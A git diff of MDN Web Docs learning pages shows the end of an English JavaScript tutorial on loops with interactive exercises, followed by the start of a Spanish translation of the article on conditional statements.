+ <li>Different iteration numbers require different text to be put in the paragraph for that iteration (you'll need a conditional statement and multiple <code>para.textContent =</code> lines):
+  <ul>
+   <li>If the number is 10, print "Countdown 10" to the paragraph.</li>
+   <li>If the number is 0, print "Blast off!" to the paragraph.</li>
+   <li>For any other number, print just the number to the paragraph.</li>
+  </ul>
+ </li>
+ <li>Remember to include an iterator! However, in this example we are counting down after each iteration, not up, so you <strong>don't</strong> want <code>i++</code> — how do you iterate downwards?</li>
+</ul>
+
+<p>If you make a mistake, you can always reset the example with the "Reset" button. If you get really stuck, press "Show solution" to see a solution.</p>
+
+<div class="hidden">
+<h6 id="Active_learning">Active learning</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 410px;overflow: auto;"&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+&lt;textarea id="code" class="playable-code" style="height: 300px;width: 95%"&gt;
+var output = document.querySelector('.output');
+output.innerHTML = '';
+
+// var i = 10;
+
+// var para = document.createElement('p');
+// para.textContent = ;
+// output.appendChild(para);
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<p class="brush: js"></p>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var output = document.querySelector(\'.output\');\noutput.innerHTML = \'\';\n\nvar i = 10;\n\nwhile(i &gt;= 0) {\n var para = document.createElement(\'p\');\n if(i === 10) {\n para.textContent = \'Countdown \' + i;\n } else if(i === 0) {\n  para.textContent = \'Blast off!\';\n } else {\n para.textContent = i;\n }\n\n output.appendChild(para);\n\n i--;\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+
+<p class="brush: js"></p>
+</div>
+
+<p>{{ EmbedLiveSample('Active_learning', '100%', 880, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Active_learning_Filling_in_a_guest_list">Active learning: Filling in a guest list</h2>
+
+<p>In this exercise, we want you to take a list of names stored in an array, and put them into a guest list. But it's not quite that easy — we don't want to let Phil and Lola in because they are greedy and rude, and always eat all the food! We have two lists, one for guests to admit, and one for guests to refuse.</p>
+
+<p>Specifically, we want you to:</p>
+
+<ul>
+ <li>Write a loop that will iterate from 0 to the length of the <code>people</code> array. You'll need to start with an initializer of  <code>var i = 0;</code>, but what exit condition do you need?</li>
+ <li>During each loop iteration, check if the current array item is equal to "Phil" or "Lola" using a conditional statement:
+  <ul>
+   <li>If it is, concatenate the array item to the end of the <code>refused</code> paragraph's <code>textContent</code>, followed by a comma and a space.</li>
+   <li>If it isn't, concatenate the array item to the end of the <code>admitted</code> paragraph's <code>textContent</code>, followed by a comma and a space.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>We've already provided you with:</p>
+
+<ul>
+ <li><code>var i = 0;</code> — Your initializer.</li>
+ <li><code>refused.textContent +=</code> — the beginnings of a line that will concatenate something on to the end of <code>refused.textContent</code>.</li>
+ <li><code>admitted.textContent +=</code> — the beginnings of a line that will concatenate something on to the end of <code>admitted.textContent</code>.</li>
+</ul>
+
+<p>Extra bonus question — after completing the above tasks successfully, you will be left with two lists of names, separated by commas, but they will be untidy — there will be a comma at the end of each one. Can you work out how to write lines that slice the last comma off in each case, and add a full stop to the end? Have a look at the <a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Useful string methods</a> article for help.</p>
+
+<p>If you make a mistake, you can always reset the example with the "Reset" button. If you get really stuck, press "Show solution" to see a solution.</p>
+
+<div class="hidden">
+<h6 id="Active_learning_2">Active learning 2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="height: 100px;overflow: auto;"&gt;
+  &lt;p class="admitted"&gt;Admit: &lt;/p&gt;
+  &lt;p class="refused"&gt;Refuse: &lt;/p&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+&lt;textarea id="code" class="playable-code" style="height: 400px;width: 95%"&gt;
+var people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce'];
+
+var admitted = document.querySelector('.admitted');
+var refused = document.querySelector('.refused');
+admitted.textContent = 'Admit: ';
+refused.textContent = 'Refuse: '
+
+// var i = 0;
+
+// refused.textContent += ;
+// admitted.textContent += ;
+
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var people = [\'Chris\', \'Anne\', \'Colin\', \'Terri\', \'Phil\', \'Lola\', \'Sam\', \'Kay\', \'Bruce\'];\n\nvar admitted = document.querySelector(\'.admitted\');\nvar refused = document.querySelector(\'.refused\');\n\nadmitted.textContent = \'Admit: \';\nrefused.textContent = \'Refuse: \'\nvar i = 0;\n\ndo {\n if(people[i] === \'Phil\' || people[i] === \'Lola\') {\n refused.textContent += people[i] + \', \';\n } else {\n admitted.textContent += people[i] + \', \';\n }\n i++;\n} while(i &lt; people.length);\n\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + \'.\';\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + \'.\';';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Active_learning_2', '100%', 680, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Which_loop_type_should_you_use">Which loop type should you use?</h2>
+
+<p>For basic uses, <code>for</code>, <code>while</code>, and <code>do...while</code> loops are largely interchangeable. They can all be used to solve the same problems, and which one you use will largely depend on your personal preference — which one you find easiest to remember or most intuitive. Let's have a look at them again.</p>
+
+<p>First <code>for</code>:</p>
+
+<pre class="notranslate">for (initializer; exit-condition; final-expression) {
+  // code to run
+}</pre>
+
+<p><code>while</code>:</p>
+
+<pre class="notranslate">initializer
+while (exit-condition) {
+  // code to run
+
+  final-expression
+}</pre>
+
+<p>and finally <code>do...while</code>:</p>
+
+<pre class="notranslate">initializer
+do {
+  // code to run
+
+  final-expression
+} while (exit-condition)</pre>
+
+<p>We would recommend <code>for</code>, at least to begin with, as it is probably the easiest for remembering everything — the initializer, exit-condition, and final-expression all have to go neatly into the parentheses, so it is easy to see where they are and check that you aren't missing them.</p>
+
+<div class="note">
+<p><strong>Note</strong>: There are other loop types/features too, which are useful in advanced/specialized situations and beyond the scope of this article. If you want to go further with your loop learning, read our advanced <a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration guide</a>.</p>
+</div>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>This article has revealed to you the basic concepts behind, and different options available when, looping code in JavaScript. You should now be clear on why loops are a good mechanism for dealing with repetitive code, and be raring to use them in your own examples!</p>
+
+<p>If there is anything you didn't understand, feel free to read through the article again, or <a href="/en-US/Learn#Contact_us">contact us</a> to ask for help.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration">Loops and iteration in detail</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for statement reference</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/do...while">do...while</a> references</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break">break</a> and <a href="/en-US/docs/Web/JavaScript/Reference/Statements/continue">continue</a> references</li>
+ <li>
+  <p class="entry-title"><a href="https://www.impressivewebs.com/javascript-for-loop/">What’s the Best Way to Write a JavaScript For Loop?</a> — some advanced loop best practices</p>
+ </li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/conditionals","Learn/JavaScript/Building_blocks/Functions", "Learn/JavaScript/Building_blocks")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">Making decisions in your code — conditionals</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">Looping code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">Functions — reusable blocks of code</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">Build your own function</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">Function return values</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Image_gallery">Image gallery</a></li>
+</ul>
+&lt;gdiv&gt;&lt;/gdiv&gt;
diff --git a/files/es/learn/javascript/building_blocks/conditionals/index.html b/files/es/learn/javascript/building_blocks/conditionals/index.html
new file mode 100644
index 0000000000..7a0fdcb91d
--- /dev/null
+++ b/files/es/learn/javascript/building_blocks/conditionals/index.html
@@ -0,0 +1,778 @@
+---
+title: Tomando decisiones en tu código — condicionales
+slug: Learn/JavaScript/Building_blocks/conditionals
+tags:
+  - Aprendizaje
+  - Artículo
+  - Codificación
+  - Condicionales
+  - JavaScript
+  - Principiante
+translation_of: Learn/JavaScript/Building_blocks/conditionals
+---
+<div>
+<p>{{LearnSidebar}}</p>
+
+<p>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</p>
+</div>
+
+<p class="summary">En cualquier lenguaje de programación, el código necesita realizar decisiones y llevar a cabo diferentes acciones acordes dependiendo de distintas entradas. Por ejemplo, en un juego, si el el numero de vidas del jugador es 0, entonces se termina el juego. En una aplicación del clima, si se observa en la mañana, se despliega una gráfica del amanecer; muestra estrellas y una luna si es de noche. En este artículo, exploraremos cómo las llamadas declaraciones condicionales funcionan en JavaScript.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de informática, básico entendimiento de HTML y CSS, <a href="/en-US/docs/Learn/JavaScript/First_steps">JavaScript primeros pasos</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender como se usan las extructuras condicionales en JavaScript. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Puedes_hacerlo_en_una_condición..!">Puedes hacerlo en una condición..!</h2>
+
+<p>Los seres humanos (y otros animales) toman decisiones todo el tiempo que afectan sus vidas, desde la más insignificante ("¿Debería comer una galleta o dos?") hasta la más grande (¿Debería quedarme en mi país y trabajar en la granja de mi padre, o debería mudarme a Estados Unidos y estudiar astrofísica?). </p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13703/cookie-choice-small.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="Declaraciones_if_..._else">Declaraciones if ... else </h2>
+
+<p>Echemos un vistazo a la declaración condicional más común que usarás en JavaScript.</p>
+
+<p> — El humilde <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"> statement</a>.</p>
+
+<h3 id="Sintaxis_if_..._else_básica.">Sintaxis if ... else básica. </h3>
+
+<p>Una sintaxis básica <code>if...else</code> luce así. {{glossary("pseudocode")}}:</p>
+
+<pre class="notranslate">if (condición) {
+  código a ejecutar si la condición es verdadera
+} else {
+  ejecuta este otro código si la condición es falsa
+}</pre>
+
+<p>Aquí tenemos:</p>
+
+<ol>
+ <li>La palabra clave <code>if</code> seguida de unos paréntesis.</li>
+ <li>Una condición a probar, puesta dentro de los paréntesis (típicamente "¿es este valor mayor que este otro valor?", o "¿existe este valor?"). Esta condición usará los  <a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">operadores de comparación</a> que hemos hablado en el módulo anterior y retorna un valor <code>true</code> o <code>false (verdadero o falso)</code>.</li>
+ <li>Un conjunto de llaves, en las cuales tenemos algún código — puede ser cualquier código que deseemos, código que se ejecutará sólamente si la condición retorna <code>true</code>.</li>
+ <li>La palabra clave <code>else</code>.</li>
+ <li>Otro conjunto de llaves, dentro de las cuales tendremos otro código — puede ser cualquier código que deseemos, y sólo se ejecutará si la condición no es <code>true</code>.</li>
+</ol>
+
+<p>Este código es fácil de leer —  está diciendo "<strong>si (if) </strong> la <strong>condición</strong> retorna verdadero (<code>true)</code>,  entonces ejecute el código A, <strong>sino (else)</strong>  ejecute el código B"</p>
+
+<p>Habrás notado que no tienes que incluir <code>else</code> y el segundo bloque de llaves — La siguiente declaración también es perfectmaente legal. </p>
+
+<pre class="notranslate">if (condición) {
+  ejecuta el código de al ser verdadera la condición
+}
+
+ejecuta otro código</pre>
+
+<p>Sin embargo, hay que ser cuidadosos — en este caso, el segundo bloque no es controlado por una declaración condicional, así que <strong>siempre</strong> se ejecutará, sin importar si la condicional devuelve <code>true</code> o <code>false</code>. Esto no es necesariemente algo malo, pero puede ser algo que no quieras —  a menudo desearás ejecutar un bloque de código u otro, no ambos.</p>
+
+<p>Como punto final, habrán ocaciones donde veas delcaraciones  <code>if...else</code> escritas sin un conjunto de llaves, de esta manera:</p>
+
+<pre class="notranslate">if (condición) ejecuta código de ser verdadero (true)
+else ejecuta este otro código </pre>
+
+<p>Este código es perfectamente valido, pero no es recomendado usarlo — es mucho más fácil leer el código y determinar qué sucede haciendo uso de  las llaves para delimitar los bloques de código y usar varias líneas y sangrías.</p>
+
+<h3 id="Un_ejemplo_real">Un ejemplo real</h3>
+
+<p>Para comprender mejor la sintaxis,  realicemos un ejemplo real. Imagínese a un niño a quien su madre o padre le pide ayuda con una tarea. El padre podría decir: "¡Hola, cariño! Si me ayudas yendo y haciendo las compras, te daré un subsidio adicional para que puedas pagar ese juguete que querías". En JavaScript, podríamos representar esto así:</p>
+
+<pre class="brush: js notranslate">let compraRealizada = false;
+
+if (compraRealizada === true) {
+  let subsidioAdicional = 10;
+} else {
+  let subsidioAdicional = 5;
+}</pre>
+
+<p>La variable <code>compraRealizada</code> escrita en este código dará siempre como resultado un retorno de valor  <code>false</code>,  lo cuál significa una desilusión para nuestro pobre hijo. Depende de nosotros proporcionar un mecanismo para que el padre cambie el valor de la variable <code>compraRealizada</code> a <code>true</code> si el niño realizó la compra.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Podrás ver una versión más completa de <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html">este ejemplo en GitHub</a> (también podrás verlo <a href="https://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html">corriendo en vivo.</a>)</p>
+</div>
+
+<h3 id="else_if">else if</h3>
+
+<p>El último ejemplo nos proporcionó dos opciones o resultados, pero ¿qué ocurre si queremos más de dos?</p>
+
+<p>Hay una forma de encadenar  opciones / resultados adicionales extras a <code>if...else</code> — usando <code>else if</code>. Cada opción extra requiere un bloque adicional para poner en medio de bloque <code>if() { ... }</code> y <code>else { ... }</code> — Vea el siguiente ejemplo un poco más complicado, que podría ser parte de una aplicación para un simple pronóstico del tiempo:</p>
+
+<pre class="brush: html notranslate">&lt;label for="clima"&gt;Seleccione el tipo de clima de hoy: &lt;/label&gt;
+&lt;select id="clima"&gt;
+  &lt;option value=""&gt;--Haga una elección--&lt;/option&gt;
+  &lt;option value="soleado"&gt;Soleado&lt;/option&gt;
+  &lt;option value="lluvioso"&gt;Lluvioso&lt;/option&gt;
+  &lt;option value="nevando"&gt;Nevando&lt;/option&gt;
+  &lt;option value="nublado"&gt;Nublado&lt;/option&gt;
+&lt;/select&gt;
+
+&lt;p&gt;&lt;/p&gt;</pre>
+
+<pre class="brush: js notranslate">let seleccionar = document.querySelector('select');
+let parrafo = document.querySelector('p');
+
+seleccionar.addEventListener('change', establecerClima);
+
+function establecerClima() {
+  let eleccion = seleccionar.value;
+
+  if (eleccion === 'soleado') {
+    parrafo.textContent = 'El día esta agradable y soleado hoy. ¡Use pantalones cortos! Ve a la playa o al parque y come un helado.';
+  } else if (eleccion === 'lluvioso') {
+    parrafo.textContent = 'Está lloviendo, tome un abrigo para lluvia y un paraguas, y no se quede por fuera mucho tiempo.';
+  } else if (eleccion === 'nevando') {
+    parrafo.textContent = 'Está nevando ─ ¡está congelando! Lo mejor es quedarse en casa con una taza caliente de chocolate, o hacer un muñeco de nieve.';
+  } else if (eleccion === 'nublado') {
+    parrafo.textContent = 'No está lloviendo, pero el cielo está gris y nublado; podría llover en cualquier momento, así que lleve un saco solo por si acaso.';
+  } else {
+    parrafo.textContent = '';
+  }
+}
+
+</pre>
+
+<p>{{ EmbedLiveSample('else_if', '100%', 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<ol>
+ <li>Aquí tenemos un elemento HTML {{htmlelement("select")}} que nos permite realizar varias elecciones sobre el clima, y un parrafo simple.</li>
+ <li>En el JavaScript, estamos almacenando una referencia para ambos elementos {{htmlelement("select")}} y {{htmlelement("p")}} , y añadiendo un Event Listener o en español un Detector de Eventos al elemento <code>&lt;select&gt;</code>  así cuando su valor cambie se ejecuta la función <code>establecerClima</code><code>().</code></li>
+ <li>Cuando la función es ejecutada, primero establecemos la variable <code>eleccion</code> con el valor obtenido del elemento <code>&lt;select&gt;.</code> Luego usamos una declaración condicinal  para mostrar distintos textos dentro del párrafo {{htmlelement("p")}} dependiendo del valor de la variable <code>eleccion</code>. Note  como todas las condicinales son probadas en los bloques <code>else if() {...}</code> , a excepción del primero, el cual es probado en el primer bloque <code>if() {...}</code>.</li>
+ <li>La ultima elección,  dentro del bloque <code>else {...}</code>, es básicamente  el "último recurso" como opción—  El código dentro de este bloque se ejecutará si nunguna de las condiciones es <code>true</code>. En este caso, sirve para vaciar el contenido del párrafo si nada ha sido seleccionado, por ejemplo, si el usuario decide elegir de nuevo  "--Haga una elección--" mostrado al inicio.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes encontrar <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html"> este ejemplo en GitHub</a> (También podrás verlo <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html">correr en vivo</a>.)</p>
+</div>
+
+<h3 id="Una_nota_en_los_operadores_de_comparación">Una nota en los operadores de comparación </h3>
+
+<p>Los operadores de comparación son usados para probar las condiciones dentro de nuestra declaración condicional. Vimos estos operadores en el artículo <a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">Matématica básica en JavaScript — Números y operadores</a>. Nuestras opciones son:</p>
+
+<ul>
+ <li><code>===</code> y <code>!==</code> — prueba si un valor es exactamente igual a otro, o sino es indentico a otro valor.</li>
+ <li><code>&lt;</code> y <code>&gt;</code> — prueba si un valor es menor o mayor que otro.</li>
+ <li><code>&lt;=</code> y <code>&gt;=</code> — prueba si un valor es menor e igual o mayor e igual que otro.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Revisa el material en los enlaces previos para refrescar la memoria en estos temas. </p>
+</div>
+
+<p>Queremos hacer una mención especial al probar los valores  (<code>true</code>/<code>false</code>) , y un patrón común que te encontrarás una y otra vez. Cualquier valor que no sea <code>false</code>, <code>undefined</code>, <code>null</code>, <code>0</code>, <code>NaN</code>,  o una cadena vacía string (<code>''</code>) realmente retorna el valor <code>true</code> cuando es probada como una declaración condicional, por lo tanto puedes simplemente usar el nombre de una variable para probar si es  <code>true</code>, o si al menos existe  (i.e. no está definido.) Por ejemplo:</p>
+
+<pre class="brush: js notranslate">let queso = 'Cheddar';
+
+if (queso) {
+  console.log('¡Siii! Hay queso para hacer tostadas con queso.');
+} else {
+  console.log('No hay tostadas con queso para ti hoy :(.');
+}</pre>
+
+<p>En el ejemplo anterior la variable <code>queso</code> contiene el valor 'Cheddar', y como su valor está definido o no es <code>false</code>, <code>undefined</code>, <code>null</code>, <code>0</code>, <code>NaN</code> y <code>(' ')</code> es considerado como <code>true</code> lo cual hará mostrar el mensaje dentro del primer bloque de llaves. </p>
+
+<p>Y, devolviéndonos al ejemplo previo del niño haciendo las compras para su padre, lo podrías haber escrito así:</p>
+
+<pre class="brush: js notranslate">let compraRealizada = false;
+
+if (compraRealizada) { //no necesitas especificar explícitamente '=== true'
+   let subsidioAdicional = 10;
+} else {
+   let subsidioAdicional = 5;
+}</pre>
+
+<h3 id="Anidando_if_..._else">Anidando if ... else</h3>
+
+<p>Está perfectamente permitido poner una declaración  <code>if...else</code> dentro de otra declaración <code>if...else</code> —  para anidarlas. Por ejemplo, podemos actualizar nuestra aplicación del clima para mostrar una serie de opciones dependiendo de cual sea la temperatura:</p>
+
+<pre class="brush: js notranslate">if (elección === 'soleado') {
+  if (temperatura &lt; 86) {
+    parrafo.textContent = 'Está a ' + temperatura + ' grados afuera — agradable y soleado. Vamos a la playa, o al parque, y comer helado.';
+  } else if (temperatura &gt;= 86) {
+    parrafo.textContent = 'Está a ' + temperatura + ' grados afuera — ¡QUÉ CALOR! Si deseas salir, asegúrate de aplicarte bloqueador solar.';
+  }
+}</pre>
+
+<p>Aunque el código funciona en conjunto, cada declaración  <code>if...else</code> funciona complentamente independiente del otro.</p>
+
+<h3 id="Operadores_lógicos_AND_OR_y_NOT">Operadores lógicos: AND, OR y NOT</h3>
+
+<p>Si quieres probar multiples condiciones sin escribir declaraciones  <code>if...else </code>anidados,  los <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators">operadores lógicos</a>  pueden ayudarte. Cuando se usa en condiciones, los primeros dos hacen lo siguiente:</p>
+
+<ul>
+ <li><code>&amp;&amp;</code> — AND;  le permite encadenar dos o más expresiones para que todas ellas se tengan que evaluar individualmente  <code>true</code> para que expresión entera retorne <code>true</code>.</li>
+ <li><code>||</code> — OR; le permite encadenar dos o más expresiones para que una o más de ellas se tengan que evaluar individualmente <code>true</code> para que expresión entera retorne <code>true</code>.</li>
+</ul>
+
+<p>Para poner un ejemplo de  AND, el anterior código puede ser reescrito de esta manera:</p>
+
+<pre class="brush: js notranslate">if (eleccion === 'soleado' &amp;&amp; temperatura &lt; 86) {
+  parrafo.textContent = 'Está a ' + temperatura + ' grados afuera — agradable y soleado. Vamos a la playa, o al parque, y comer helado.';
+} else if (eleccion === 'soleado' &amp;&amp; temperatura &gt;= 86) {
+  parrafo.textContent = 'Está a ' + temperatura + ' grados afuera — ¡QUÉ CALOR! Si deseas salir, asegúrate de aplicarte bloqueador solar.';
+}</pre>
+
+<p>Así que por ejemplo, el primer bloque solo se ejecutará si la variable <code>eleccion === 'soleado'</code> <em>y </em><code>temperatura &lt; 86</code> devuelven un valor verdadero o <code>true</code>.</p>
+
+<p>Observemos un ejemplo rápido del operador OR:</p>
+
+<pre class="brush: js notranslate">if (carritoDeHelados || estadoDeLaCasa === 'en llamas') {
+  console.log('Debes salir de la casa rápidamente.');
+} else {
+  console.log('Es mejor que te quedes dentro de casa');
+}</pre>
+
+<p>El último tipo de operador lógico, NOT, es expresado con el operador <code>!</code>, puede ser usado para negar una expresión. Vamos a combinarlo con el operador OR en el siguiente ejemplo:</p>
+
+<pre class="brush: js notranslate">if (!(carritoDeHelados || estadoDeLaCasa === 'en llamas')) {
+  console.log('Es mejor que te quedes dentro de casa');
+} else {
+  console.log('Debes salir de la casa rápidamente.');
+}</pre>
+
+<p>En el anterior ejemplo, si las declaraciones del operador OR retornan un valor <code>true</code>,  el operador NOT negará toda la expresión dentro de los paréntesis, por lo tanto retornará un valor <code>false</code>.</p>
+
+<p>Puedes combinar los operadores que quieras dentro de las sentencias, en cualquier estructura. El siguiente ejemplo ejecuta el código dentro del condicional solo si ambas sentencias OR devuelven verdadero, lo que significa que la instrucción general AND devolverá verdadero:</p>
+
+<pre class="brush: js notranslate">if ((x === 5 || y &gt; 3 || z &lt;= 10) &amp;&amp; (logueado || nombreUsuario === 'Steve')) {
+  // ejecuta el código
+}</pre>
+
+<p>Un error comun cuando se utiliza el operador OR en las declaraciones condicionales es intentar verificar el valor de la variable una sola vez, y luego darle una lista de valores que podrían retornar verdadero separados por  operadores ||. Por ejemplo:</p>
+
+<pre class="example-bad brush: js notranslate">if (x === 5 || 7 || 10 || 20) {
+  // ejecuta mi código
+}</pre>
+
+<p>En este caso la condición  <code>if(...)</code>  siempre evaluará a verdadero siendo que  7 (u otro valor que no sea 0) siempre será verdadero. Esta condición lo que realmente está diciendo es que "if x es igual a 5, o 7 es verdadero— lo cual siempre es". ¡Esto no es lógicamente lo que queremos!  Para hacer que esto funcione, tenemos que especificar una prueba completa para cada lado del operador OR:</p>
+
+<pre class="brush: js notranslate">if (x === 5 || x === 7 || x === 10 ||x === 20) {
+  // ejecuta mi código
+}</pre>
+
+<h2 id="Declaraciones_con_switch">Declaraciones con switch</h2>
+
+<p><code>El </code>condicional<code> if...else</code> hace un buen trabajo permitiéndonos realizar un buen código, pero esto viene con sus desventajas.  Hay variedad de casos donde necesitarás realizar varias elecciones, y cada una requiere una cantidad razonable de código para ser ejecutado y/o sus condicionales son complejas (i.e. operadores lógicos múltiples). Para los casos en los que solo se desea establecer una variable para una determinada opción de valores o imprimir una declaración particular dependiendo de una condición, la sintaxis puede ser un poco engorrosa, especialmente si se tiene una gran cantidad de opciones.</p>
+
